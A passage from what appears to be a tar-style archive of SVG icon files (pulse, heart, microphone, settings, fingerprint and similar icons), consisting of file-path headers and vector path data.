0-7.1-2.3-12.7-7.1-17.1-5-4.6-11.5-8.2-19.6-10.6-8.3-2.6-19.6-5.3-33.6-8.2-19-4-35.1-8.8-48-14.2-13.1-5.5-23.7-13.2-31.5-22.7-7.9-9.7-11.8-21.9-11.8-36.2 0-13.7 4.2-25.9 12.4-36.5 8.2-10.5 20.1-18.7 35.6-24.3 15.2-5.6 33.3-8.4 53.7-8.4 16.4 0 30.7 1.9 42.7 5.5 12.1 3.7 22.2 8.7 30.3 14.9 8 6.2 14 12.8 17.8 19.7 3.8 7 5.7 13.9 5.7 20.6 0 6.4-2.5 12.3-7.5 17.4-5 5.1-11.3 7.8-18.8 7.8-6.8 0-12.1-1.6-15.8-4.8-3.4-3-7-7.6-10.9-14.3-4.6-8.5-10.1-15.3-16.4-20.1-6.2-4.6-16.4-7-30.6-7-13.1 0-23.8 2.6-31.7 7.7-7.6 4.9-11.3 10.6-11.3 17.3 0 4.1 1.2 7.5 3.7 10.5 2.6 3.1 6.2 5.9 10.9 8.2 4.8 2.4 9.8 4.3 14.7 5.6 5.1 1.4 13.6 3.5 25.3 6.1 14.9 3.1 28.5 6.7 40.5 10.4 12.2 3.9 22.7 8.6 31.3 14.1 8.8 5.6 15.7 12.9 20.7 21.5 4.9 8.6 7.4 19.4 7.4 31.8.4 15.1-3.9 28.7-12.5 40.5z"/></svg>collection/icon/svg/md-pulse.svg000064400000001026151701353760012704 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M428 269c-21.5 0-40.6 13.1-48.4 33h-41.2L307 221.3c-2.7-8.2-10.3-13.7-19-13.7h-.4c-8.8.2-16.4 6-18.8 14.5l-33.6 135.4-55.5-291.8C178 55.6 169.6 48 160 48c-9.5 0-16.9 6.2-19.4 16.2L90.3 302H32v40h74c9.2 0 17.2-6.2 19.4-15.2l30.7-160.6 54.1 282.1c1.5 8.8 8.9 15.1 18.6 15.7h1.2c9.3 0 16.9-5.3 19.2-13.5l40.2-162.9 15.5 40.7c2.7 8.2 10.3 13.7 19 13.7h56.4c8.3 19 27.1 31 47.6 31 13.9 0 26.9-5.6 36.8-15.8 9.8-10.1 15.2-23.3 15.2-37.2.1-28.6-22.7-51-51.9-51z"/></svg>collection/icon/svg/ios-heart-empty.svg000064400000001256151701353760014212 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 56h-1c-39.7 0-74.8 21-95 52-20.2-31-55.3-52-95-52h-1c-61.9.6-112 50.9-112 113 0 37 16.2 89.5 47.8 132.7C156 384 256 456 256 456s100-72 160.2-154.3C447.8 258.5 464 206 464 169c0-62.1-50.1-112.4-112-113zm41.6 229.2C351 343.5 286.1 397.3 256 420.8c-30.1-23.5-95-77.4-137.6-135.7C89.1 245.1 76 198 76 169c0-22.6 8.8-43.8 24.6-59.8 15.9-16 37-24.9 59.6-25.1H161.1c14.3 0 28.5 3.7 41.1 10.8 12.2 6.9 22.8 16.7 30.4 28.5 5.2 7.9 14 12.7 23.5 12.7s18.3-4.8 23.5-12.7c7.7-11.8 18.2-21.6 30.4-28.5 12.6-7.1 26.8-10.8 41.1-10.8h.9c22.5.2 43.7 9.1 59.6 25.1 15.9 16 24.6 37.3 24.6 59.8-.2 29-13.3 76.1-42.6 116.2z"/></svg>collection/icon/svg/md-mic.svg000064400000000666151701353760012335 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 320c37.712 0 68.571-30.924 68.571-68.714V100.714C324.571 62.924 293.712 32 256 32s-68.571 30.924-68.571 68.714v150.572c0 37.79 30.859 68.714 68.571 68.714zm121.139-75.452c0 68.714-58.282 116.815-121.139 116.815s-121.139-48.102-121.139-116.815H96c0 77.873 61.719 143.153 137.144 153.465V480h45.713v-81.987C354.281 386.561 416 322.421 416 244.548h-38.861z"/></svg>collection/icon/svg/ios-download.svg000064400000000651151701353760013560 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 144H269v179.9l47.9-47.2c5.1-5 13.3-5 18.4.1 5 5.1 5 13.3-.1 18.4l-70 69c-2.5 2.4-5.8 3.7-9.1 3.7-1.7 0-3.4-.3-5-1-1.5-.6-2.9-1.6-4.1-2.7l-70-69c-5.1-5-5.2-13.3-.1-18.4 5-5.1 13.3-5.2 18.4-.1l47.9 47.2V144H136c-22 0-40 18-40 40v240c0 22 18 40 40 40h240c22 0 40-18 40-40V184c0-22-18-40-40-40zM269 61c0-7.2-5.8-13-13-13s-13 5.8-13 13v83h26V61z"/></svg>collection/icon/svg/md-trending-down.svg000064400000000276151701353760014341 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 397V262.5l-51.3 51.3-141.1-141-89.6 89.7L63.6 128 32 159.6l166 166.3 89.6-89.7 109.3 109.4-51.3 51.4H480z"/></svg>collection/icon/svg/ios-finger-print.svg000064400000006126151701353760014360 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.8 182c-8.6-24.4-20.3-44.9-33-57.5-2.6-2.6-6-4-9.7-4-3.7 0-7.1 1.4-9.7 4-5.3 5.3-5.3 14 0 19.4 9.9 9.9 19.6 27.4 26.8 48.1 7.3 21.2 11.4 43.6 11.4 63.1 0 3-.1 7.6-.2 10.1-.2 3.7 1.1 7.1 3.6 9.8 2.5 2.7 5.8 4.3 9.5 4.4h.6c7.3 0 13.3-5.7 13.7-13.1.1-3.1.2-8.1.2-11.3 0-22.8-4.7-48.8-13.2-73zM143 110.6c2.9 0 5.6-.9 8-2.6 29.9-21.4 66.2-32.7 105-32.7 40.8 0 80.1 14.8 113.7 42.8 2.5 2 5.6 3.2 8.8 3.2 4.1 0 7.9-1.8 10.5-4.9 4.8-5.8 4-14.4-1.7-19.3C348.6 65 303.3 48 256 48c-44.6 0-86.4 13.1-121 37.8-3 2.1-4.9 5.3-5.5 8.9-.6 3.6.2 7.2 2.4 10.2 2.5 3.6 6.7 5.7 11.1 5.7zM75.4 255c0-43.7 15.8-85.8 44.5-118.7 2.4-2.8 3.6-6.3 3.3-9.9-.2-3.6-1.9-7-4.7-9.4-2.5-2.2-5.7-3.4-9-3.4-4 0-7.7 1.7-10.3 4.7C66.2 156.2 48 204.7 48 255c0 32.8 5.9 58.8 15.4 90.2 1.8 5.8 7 9.7 13.1 9.7 1.3 0 2.7-.2 4-.6 3.5-1.1 6.4-3.4 8.1-6.6 1.7-3.2 2.1-6.9 1-10.4-8.8-29-14.2-52.8-14.2-82.3z"/><path d="M355.7 129.8C328.4 106.1 295 93.6 259 93.6c-48.3 0-91.4 17.8-121.5 50.1-28.7 30.8-42.8 71.7-39.7 115.1 2.3 32.7 6 50.7 9.3 66.6 4.3 21.1 7.7 37.8 5.1 84.1-.4 6.7 3.7 12.7 10 14.6 1.2.4 2.3.5 3.6.5 7.2 0 13.2-5.7 13.7-12.9 2.9-50.4-.8-68.7-5.5-91.9-3.1-15.1-6.6-32.2-8.8-63.1-2.6-35.7 9-69.3 32.4-94.5 24.8-26.7 60.9-41.4 101.4-41.4 29.3 0 56.5 10.2 78.7 29.5 22.3 19.3 39.2 47.4 49 81.1 11.4 39.3 14.5 89.3 9.1 144.5-.7 7.5 4.8 14.2 12.3 15 .4 0 .9.1 1.3.1 7.1 0 12.9-5.3 13.6-12.4 5.8-58.7 2.3-112.2-10.1-154.8-11.1-38.6-30.9-71.2-57.2-94z"/><path d="M373.5 267.5c-5.9-37.5-19.9-68.8-40.6-90.6-20.8-22-47.4-33.7-76.9-33.7-19 0-37.7 4.1-54.1 12-3.7 1.8-6.4 5.1-7.4 9.1-1 4.1-.1 8.3 2.5 11.6 2.6 3.4 6.5 5.3 10.8 5.3 2.1 0 4-.5 5.9-1.3 12.6-6 27.2-9.2 42.2-9.2 22.4 0 42.5 9.2 58.3 26.6 16.1 17.8 27.3 43.6 32.1 74.6 4.7 29.6 7 53.5 7.1 73.1.2 39.7-4.8 72.7-4.8 73.1-.6 3.6.3 7.2 2.5 10.2 2.2 3 5.3 4.9 8.9 5.5.7.1 1.4.2 2.1.2 6.8 0 12.5-4.9 13.5-11.6.2-1.4 5.4-35.2 5.2-77.5 0-21.3-2.4-46.5-7.3-77.4zM185.3 203.5c4-5.8 2.9-13.6-2.5-18.2-2.5-2.1-5.6-3.2-8.8-3.2-4.5 0-8.7 2.2-11.3 5.9-14.7 21.5-19.7 49.1-14.4 79.8 8.9 51.3 16.9 111.1 9.4 165-.5 3.8.5 7.7 2.9 10.7 2.3 3 5.7 4.8 9.4 5.1.4 0 .8.1 1.2.1 6.8 0 12.6-5.1 13.5-11.8 8.2-57.7-.2-120.2-9.5-173.8-4.1-23.8-.7-43.9 10.1-59.6zM317.5 388h-.5c-7.6.3-13.5 6.6-13.2 14.2 0 .2.6 17.9-2.6 34.7-1.3 6.9 2.6 13.7 9.1 15.8 1.4.4 2.8.7 4.3.7 6.6 0 12.2-4.7 13.4-11.1 3.8-20.1 3.1-40.2 3.1-41.1-.2-7.5-6.2-13.2-13.6-13.2z"/><path d="M294.6 205.9c-11.2-10.5-25.2-16.1-40.5-16.1-19.8 0-36.7 7.3-47.6 20.5-8.3 10.1-17 28.8-10.9 60 12.3 62.5 15 121.6 8.1 175.6-1 7.5 4.4 14.4 11.8 15.3.6.1 1.2.1 1.7.1 6.9 0 12.7-5.1 13.6-12 7.3-57 4.5-119-8.3-184.4-3.2-16.4-1.4-29.3 5.1-37.3 5.6-6.8 15-10.5 26.4-10.5 25 0 35.1 27.6 38.3 39.4 6.9 25.7 10.9 63 11.5 107.7.1 7.4 6.2 13.5 13.7 13.5h.2c3.6-.1 7-1.5 9.6-4.1 2.5-2.6 3.9-6.1 3.9-9.7-.7-47-5-86.5-12.5-114.4-4.9-18.5-13.1-33.2-24.1-43.6z"/><path d="M265.2 245.9c-2.1-5.1-7.1-8.5-12.7-8.5-1.8 0-3.6.4-5.2 1-7 2.9-10.3 10.9-7.4 17.9 6.6 16 11.8 46.2 14.1 82.8 2.4 36.9 1.7 76.9-2 109.6-.4 3.6.6 7.2 2.9 10.1 2.3 2.9 5.5 4.6 9.2 5 .5.1 1 .1 1.5.1 7 0 12.8-5.2 13.6-12.2 3.9-35.5 4.6-76.6 2-115.8-2.5-39.3-8.2-71.3-16-90z"/></svg>collection/icon/svg/md-bulb.svg000064400000000506151701353760012502 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M192 428c0 10.6 8.6 20 20 20h88c11.4 0 20-9.4 20-20v-18H192v18zm64-364c-79.7 0-144 59.9-144 134 0 45.7 24.1 86.2 61.4 110.6V352c0 10.6 9.3 19.2 20.6 19.2h123.9c11.4 0 20.6-8.6 20.6-19.2v-43.4C375.9 284.2 400 243.7 400 198c0-74.1-64.3-134-144-134z"/></svg>collection/icon/svg/md-arrow-round-up.svg000064400000000507151701353760014460 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M412.6 227.1L278.6 89c-5.8-6-13.7-9-22.4-9h-.4c-8.7 0-16.6 3-22.4 9l-134 138.1c-12.5 12-12.5 31.3 0 43.2 12.5 11.9 32.7 11.9 45.2 0l79.4-83v214c0 16.9 14.3 30.6 32 30.6 18 0 32-13.7 32-30.6v-214l79.4 83c12.5 11.9 32.7 11.9 45.2 0s12.5-31.2 0-43.2z"/></svg>collection/icon/svg/ios-settings.svg000064400000001602151701353760013606 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416.3 256c0-21 13.1-38.9 31.7-46.1-4.9-20.5-13-39.7-23.7-57.1-6.4 2.8-13.2 4.3-20.1 4.3-12.6 0-25.2-4.8-34.9-14.4-14.9-14.9-18.2-36.8-10.2-55-17.3-10.7-36.6-18.8-57-23.7C295 82.5 277 95.7 256 95.7S217 82.5 209.9 64c-20.5 4.9-39.7 13-57.1 23.7 8.1 18.1 4.7 40.1-10.2 55-9.6 9.6-22.3 14.4-34.9 14.4-6.9 0-13.7-1.4-20.1-4.3C77 170.3 68.9 189.5 64 210c18.5 7.1 31.7 25 31.7 46.1 0 21-13.1 38.9-31.6 46.1 4.9 20.5 13 39.7 23.7 57.1 6.4-2.8 13.2-4.2 20-4.2 12.6 0 25.2 4.8 34.9 14.4 14.8 14.8 18.2 36.8 10.2 54.9 17.4 10.7 36.7 18.8 57.1 23.7 7.1-18.5 25-31.6 46-31.6s38.9 13.1 46 31.6c20.5-4.9 39.7-13 57.1-23.7-8-18.1-4.6-40 10.2-54.9 9.6-9.6 22.2-14.4 34.9-14.4 6.8 0 13.7 1.4 20 4.2 10.7-17.4 18.8-36.7 23.7-57.1-18.4-7.2-31.6-25.1-31.6-46.2zm-159.4 79.9c-44.3 0-80-35.9-80-80s35.7-80 80-80 80 35.9 80 80-35.7 80-80 80z"/></svg>collection/icon/svg/md-information-circle.svg000064400000000317151701353760015342 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.2 48 48 141.2 48 256s93.2 208 208 208 208-93.2 208-208S370.8 48 256 48zm21 312h-42V235h42v125zm0-166h-42v-42h42v42z"/></svg>collection/icon/svg/md-home.svg000064400000000210151701353760012476 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M208 448V320h96v128h97.6V256H464L256 64 48 256h62.4v192z"/></svg>collection/icon/svg/md-folder.svg000064400000000427151701353760013033 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M213.338 96H74.666C51.197 96 32 115.198 32 138.667v234.666C32 396.802 51.197 416 74.666 416h362.668C460.803 416 480 396.802 480 373.333V186.667C480 163.198 460.803 144 437.334 144H256.006l-42.668-48z"/></svg>collection/icon/svg/ios-infinite.svg000064400000001617151701353760013561 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M456.8 182.4c-20-19.6-46.8-30.4-75.2-30.4-28.5 0-55.2 10.8-75.2 30.4l-31.2 30c-1.6 1.6-1.6 4.2 0 5.7l19.4 19.1c1.5 1.5 4 1.5 5.6 0l31-30.1c13.5-13.1 31.3-20.3 50.3-20.3 19 0 36.8 7.2 50.3 20.3 13.4 13.1 20.7 30.5 20.7 49 0 18.4-7.4 35.8-20.7 48.7-13.5 13.1-31.3 20.3-50.3 20.3-19 0-36.8-7.2-50.3-20.3L205.6 182.4c-20.2-19.6-46.9-30.4-75.2-30.4-28.5 0-55.2 10.8-75.2 30.4C35.1 202 24 228.1 24 256c0 27.8 11.1 54 31.2 73.6 20 19.6 46.8 30.4 75.2 30.4 28.5 0 55.2-10.8 75.2-30.4l31-30c1.6-1.6 1.6-4.2 0-5.7L217.2 275c-1.5-1.5-4-1.5-5.6 0l-31 29.9c-13.5 13.1-31.3 20.3-50.3 20.3-19 0-36.8-7.2-50.3-20.3-13.4-13.1-20.7-30.5-20.7-49 0-18.4 7.4-35.7 20.7-48.7 13.5-13.1 31.3-20.3 50.3-20.3 19 0 36.8 7.2 50.3 20.3l125.5 122.5c20.2 19.6 46.9 30.4 75.2 30.4 28.5 0 55.2-10.8 75.2-30.4 20.2-19.6 31.3-45.7 31.3-73.6.2-27.9-10.9-54.1-31-73.7z"/></svg>collection/icon/svg/md-help-buoy.svg000064400000001445151701353760013465 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm61 356l-12.2-39.6c13-5.8 24.9-14 35.3-24.4 10.4-10.4 18.6-22.3 24.4-35.3l39.5 12.1c-7.9 19.3-19.7 37-34.9 52.2-15.1 15.3-32.8 27.1-52.1 35zM195 108l12.2 39.6c-13 5.8-24.9 14-35.3 24.4-10.4 10.4-18.6 22.3-24.4 35.3L108 195.2c7.9-19.3 19.7-37 34.9-52.2 15.1-15.3 32.8-27.1 52.1-35zm61 84c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm113.1-49.1c15.2 15.2 26.9 32.9 34.9 52.1l-39.5 12.2c-5.9-13-14-24.9-24.4-35.3-10.4-10.4-22.3-18.6-35.3-24.4l12.1-39.5c19.3 7.9 37 19.7 52.2 34.9zM142.9 369.1c-15.2-15.1-27-32.8-34.9-52.1l39.5-12.2c5.9 13 14 24.9 24.4 35.3 10.4 10.4 22.3 18.6 35.3 24.4L195.1 404c-19.3-7.9-37-19.7-52.2-34.9z"/></svg>collection/icon/svg/md-wine.svg000064400000000341151701353760012515 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M234.667 277.333V408H128v40h256v-40H277.333V277.333L448 106.667V64H64v42.667l170.667 170.666zm-74.667-128l-42.667-42.666h277.334L352 149.333H160z"/></svg>collection/icon/svg/md-color-fill.svg000064400000000460151701353760013617 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M136.5 77.7l37 67L32 285.7 216.4 464l152.4-148.6 54.4-11.4L166.4 48l-29.9 29.7zm184 208H114.9l102.8-102.3 102.8 102.3zM423.3 304s-56.7 61.5-56.7 92.1c0 30.7 25.4 55.5 56.7 55.5 31.3 0 56.7-24.9 56.7-55.5S423.3 304 423.3 304z"/></svg>collection/icon/svg/md-subway.svg000064400000001011151701353760013060 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c-93.864 0-176 10.668-176 85.334v213.332c0 41.604 33.062 74.666 74.667 74.666L128 448v16h256v-16l-26.667-26.668c41.604 0 74.667-33.062 74.667-74.666V133.334C432 58.668 349.864 48 256 48zm-96 336c-18.136 0-32-13.865-32-32 0-18.137 13.864-32 32-32s32 13.863 32 32c0 18.135-13.864 32-32 32zm80-144H128v-96h112v96zm112 144c-18.136 0-32-13.865-32-32 0-18.137 13.864-32 32-32s32 13.863 32 32c0 18.135-13.864 32-32 32zm32-144H272v-96h112v96z"/></svg>collection/icon/svg/ios-brush.svg000064400000001177151701353760013100 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M149.6 283.3c-51.9 0-83.9 45.7-83.9 95.1 0 21.3-10.9 37.1-31.4 46.4-2.2 1-3 3.8-1.7 5.8 16.7 24.6 63.3 33.3 95.3 33.3 8.4 0 15.9-.6 21.8-1.7 35.6-6.4 80.1-24.9 90.7-77 12.2-60.5-38.9-101.9-90.8-101.9z"/><path d="M467.7 60.4C460 52.7 450.9 48 441.6 48c-6.3 0-12.7 2.2-18.8 7L257.7 200.3c-5.4 4.8-12.4 7.4-19.7 7.4h-.1-.1c-5.6 0-11.1 2.1-15.4 5.8l-53.6 43.8c-2.1 1.8-2.7 4.8-1.4 7.2.9 1.7 2.6 2.9 4.5 3.1 45.6 4.5 87 37 87.3 86.6 0 1.7.7 3.4 2 4.5 2.5 2.1 6 1.7 8-.6l45.1-52.2c3.5-4 5.8-9.1 6-14.5v-1.2c0-7.5 3-14.8 8-20.4l144.8-164.4c11.9-15.1 7.6-32.1-5.4-45z"/></svg>collection/icon/svg/ios-undo.svg000064400000000656151701353760012723 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M479.9 394.9c0-19.6 4.2-97.1-56.8-158.7-40.4-40.7-91.9-61.7-163.4-65.5-2.1-.1-3.8-1.9-3.8-4V84c0-3.2-3.5-5.1-6.2-3.4L33.8 222.8c-2.4 1.6-2.4 5.1 0 6.7l215.9 142.2c2.7 1.8 6.2-.1 6.2-3.4v-81.6c0-2.3 1.9-4.1 4.2-4 44.1 1.7 69.5 10.9 97.1 23.2 36.1 16.2 72.9 50.9 94.5 83.5 13.1 19.9 19.2 33.9 21.4 39.7.7 1.7 2.3 2.8 4.1 2.8h2.9c-.1-11.7-.2-26.7-.2-37z"/></svg>collection/icon/svg/ios-square-outline.svg000064400000000425151701353760014725 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M388 96H124c-15.4 0-28 12.6-28 28v264c0 15.4 12.6 28 28 28h264c15.4 0 28-12.6 28-28V124c0-15.4-12.6-28-28-28zm0 284c0 4.4-3.6 8-8 8H132c-4.4 0-8-3.6-8-8V132c0-4.4 3.6-8 8-8h248c4.4 0 8 3.6 8 8v248z"/></svg>collection/icon/svg/ios-open.svg000064400000001004151701353760012703 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M227.8 300.2c-5.1-5.1-5.1-13.3 0-18.4l133.7-133.7c-5.3-2.6-11.2-4.1-17.5-4.1H88c-22 0-40 18-40 40v224c0 22 18 40 40 40h256c22 0 40-18 40-40V184c0-6.3-1.5-12.2-4.1-17.5L246.2 300.2c-5.1 5.1-13.3 5.1-18.4 0z"/><path d="M459.5 68.5C457 66 453 64 449 64h-97c-7.2-.1-13.1 5.7-13.1 12.9-.1 7.2 5.7 13.1 12.9 13.1l67.3.5-57.6 57.6c8 3.9 14.5 10.4 18.4 18.4l57.6-57.6.5 67.3c.1 7.2 5.9 13 13.1 12.9 7.2-.1 13-5.9 12.9-13.1V78c0-3.5-2-7-4.5-9.5z"/></svg>collection/icon/svg/md-repeat.svg000064400000000326151701353760013036 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M149.3 152h213.3v62.4l85.3-83.2L362.7 48v62.4h-256v124.8h42.7V152zm213.4 208H149.3v-62.4L64 380.8l85.3 83.2v-62.4h256V276.8h-42.7V360z"/></svg>collection/icon/svg/ios-mail-unread.svg000064400000001400151701353760014140 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="416" cy="152" r="48"/><path d="M416 218.5c-5.4 0-10.6-.7-15.6-1.9L353 264.9c-.8.8-.8 2 0 2.8l75.3 80.2c5.1 5.1 5.1 13.3 0 18.4-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8l-75-79.9c-.8-.8-2.1-.8-2.9 0L313.7 305c-15.3 15.5-35.6 24.1-57.4 24.2-22.1.1-43.1-9.2-58.6-24.9l-17.6-17.9c-.8-.8-2.1-.8-2.9 0l-75 79.9c-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8c-5.1-5.1-5.1-13.3 0-18.4l75.3-80.2c.7-.8.7-2 0-2.8L51.4 155.3c-1.3-1.3-3.4-.4-3.4 1.4V376c0 17.6 14.4 32 32 32h352c17.6 0 32-14.4 32-32V198c-12.1 12.6-29.1 20.5-48 20.5z"/><path d="M349.5 152c0-11.6 3-22.5 8.2-32H79.9c-7.5 0-14.4 2.6-19.8 7L217 286.7c10.4 10.6 24.3 16.4 39.1 16.4s28.7-5.8 39.1-16.4l80.5-81.9c-16-12.2-26.2-31.3-26.2-52.8z"/></svg>collection/icon/svg/md-arrow-back.svg000064400000000264151701353760013607 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M427 234.625H167.296l119.702-119.702L256 85 85 256l171 171 29.922-29.924-118.626-119.701H427v-42.75z"/></svg>collection/icon/svg/ios-female.svg000064400000001657151701353760013211 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M61.6 464c3.6 0 7.1-1.4 9.6-4l44.8-44.8 37 37c2.6 2.6 6 4 9.6 4 3.6 0 7.1-1.4 9.6-4 5.3-5.3 5.3-13.9 0-19.2l-37-37 50-50c30.6 26 69.3 40.3 109.6 40.3 22.8 0 45-4.5 65.8-13.3 20.1-8.5 38.2-20.7 53.8-36.2 15.5-15.5 27.7-33.6 36.2-53.8 8.8-20.9 13.3-43 13.3-65.8s-4.5-45-13.3-65.8c-8.5-20.1-20.7-38.2-36.2-53.8-15.5-15.5-33.6-27.7-53.8-36.2-20.9-8.8-43-13.3-65.8-13.3-22.8 0-45 4.5-65.8 13.3-20.1 8.5-38.2 20.7-53.8 36.2-15.5 15.5-27.7 33.6-36.2 53.8-8.8 20.9-13.3 43-13.3 65.8 0 40.3 14.3 79 40.3 109.6l-50 50-37-37c-2.6-2.6-6-4-9.6-4-3.6 0-7.1 1.4-9.6 4-5.3 5.3-5.3 13.9 0 19.2l37 37L52 440.8c-5.3 5.3-5.3 13.9 0 19.2 2.6 2.6 6 4 9.6 4zm132.9-347.2C221.3 90 257 75.2 294.9 75.2c37.9 0 73.5 14.8 100.3 41.6 26.8 26.8 41.6 62.4 41.6 100.3s-14.8 73.5-41.6 100.3c-26.8 26.8-62.4 41.6-100.3 41.6s-73.5-14.8-100.3-41.6C167.7 290.7 153 255 153 217.1s14.7-73.5 41.5-100.3z"/></svg>collection/icon/svg/ios-construct.svg000064400000003210151701353760013767 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M380 64.4zM275.1 57.6c-9.4-5.9-23.3-9.6-37.9-9.6-14.3 0-30.3 2.5-46.7 9.2-46.5 19-74 45.4-81.1 52.4-7 7-16.8 18-22.9 26.6-6.1 8.7 1.9 21-6.1 29s-24.7 0-24.7 0c-1.4 0-2.9.5-3.9 1.6l-34.1 33.9c-2.2 2.1-2.2 5.7 0 7.8l63.5 63.1c1.1 1.1 2.5 1.6 3.9 1.6s2.9-.5 3.9-1.6l33.2-34.8c2.2-2.1 2.2-5.7 0-7.8 0 0-5.3-5.2-12.1-12s.8-19.3 5.3-23.4c4.5-4.1 11.6-6.8 21.1-6.8 4.3 0 7.4.7 11.4 1.8 12.2 3.4 25.8 15.9 50.9 40.8l-3.9 6.5c-2.3 3.8-.9 8.3 1.3 10.4 0 0-5-4.9 13.1 13.1l50-47.2c-19.1-18.9-14.5-14.1-14.5-14.1-1.4-1.4-3.8-2.3-6.3-2.3-1.4 0-2.9.3-4.2 1l-5.6 3c-28-27.8-35.3-40.2-34.3-61.7 1.1-22.4 12.3-37.1 30.5-52.7 24.7-21.1 60.6-15.2 60.6-15.2 8-.1-4.2-8.6-10.4-12.6zM462.5 399.9s-68.9-57.2-130.2-115.7l-47.7 50.6c58.5 60.6 114.9 127.6 114.9 127.6 1.1 1.1 2.5 1.6 3.9 1.6s2.9-.5 3.9-1.6l55.1-54.7c2.2-2.1 2.2-5.7.1-7.8z"/><path d="M479.2 125.3l-52.4 52.6-51.1-9.3-9.2-51.1 52.4-52.6c-11.1-11.1-26.8-16.6-39-16.6-.7 0-1.4 0-2 .1-12.5.6-39.2 7.7-59.9 29.7-20 21.1-41.1 60.6-22.4 104.3 2.2 5.3 4.7 12.2-2.7 19.7-1.5 1.4-9.9 9.4-22.5 21.3-3.6 3.4-7.4 7-11.6 11-8 7.6-17.1 16.2-26.8 25.2-3.8 3.6-7.7 7.2-11.6 11-57 53.8-126.9 119.5-126.9 119.5-18 15.5-16.7 44.1-.1 60.8 8.5 8.4 20 12.8 31.3 12.8 11 0 21.9-4.2 29.5-13.1 0 0 65.5-69.8 119.3-126.9 3.7-4 7.4-7.8 11-11.7 9.3-9.9 18-19.1 25.8-27.3 3.9-4.2 7.6-8.1 11-11.6 11.5-12.2 19.3-20.4 21-22 4-3.9 7.7-5.1 11.1-5.1 3.3 0 6.2 1.2 8.6 2.4 9.9 5.1 21 7.3 32.4 7.3 26.7 0 55-12.4 72.1-29.5 24.4-24.4 28.8-47.9 29.6-60 .6-11.8-3.6-27.6-16.9-40.9zM137.4 426.1c-5.5 5.4-14.4 5.4-19.8 0-5.4-5.5-5.4-14.4 0-19.8 5.5-5.4 14.4-5.4 19.8 0 5.4 5.5 5.4 14.4 0 19.8z"/></svg>collection/icon/svg/md-send.svg000064400000000201151701353760012477 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 448l416-192L48 64v149.333L346 256 48 298.667z"/></svg>collection/icon/svg/ios-transgender.svg000064400000002376151701353760014273 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.4 168.5c7.5 0 13.6-6.1 13.6-13.6V61.6c0-7.5-6.1-13.6-13.6-13.6h-93.3c-7.5 0-13.6 6.1-13.6 13.6s6.1 13.6 13.6 13.6H417l-75 75.4c-25.7-16.3-55.4-24.8-86-24.8-30.7 0-60.3 8.6-86 24.8l-19-19.1 28.2-28.2c5.3-5.3 5.3-13.9 0-19.2-2.6-2.6-6-4-9.6-4-3.6 0-7.1 1.4-9.6 4l-28.1 28.1-36.8-37H155c7.5 0 13.6-6.1 13.6-13.6S162.5 48 155 48H61.6C54.1 48 48 54.1 48 61.6v93.3c0 7.5 6.1 13.6 13.6 13.6s13.6-6.1 13.6-13.6V95.1l36.9 36.7-30 30c-5.3 5.3-5.3 13.9 0 19.2 2.6 2.6 6 4 9.6 4 3.6 0 7.1-1.4 9.6-4l30.1-30.1 16.5 16.4c-33.9 30.6-53.3 73.9-53.3 119.8 0 43.1 16.8 83.6 47.3 114.1 30.5 30.5 71 47.3 114.1 47.3 45.9 0 89.2-19.4 119.9-53.3l16.4 16.4-29.3 29.2c-5.3 5.3-5.3 13.9 0 19.2 2.6 2.6 6 4 9.6 4 3.6 0 7.1-1.4 9.6-4l29.3-29.3 29.3 29.3c2.6 2.6 6 4 9.6 4 3.6 0 7.1-1.4 9.6-4 5.3-5.3 5.3-13.9 0-19.2l-29.3-29.3 29.3-29.3c5.3-5.3 5.3-13.9 0-19.2-2.6-2.6-6-4-9.6-4-3.6 0-7.1 1.4-9.6 4l-29.3 29.3-19-19c16.3-25.8 24.9-55.4 24.9-86.1 0-45.9-19.3-89.2-53.3-119.8l72.7-72.2v59.9c0 7.3 6.1 13.4 13.6 13.4zm-60.3 118.6c0 35.8-14 69.5-39.3 94.8-25.3 25.3-59 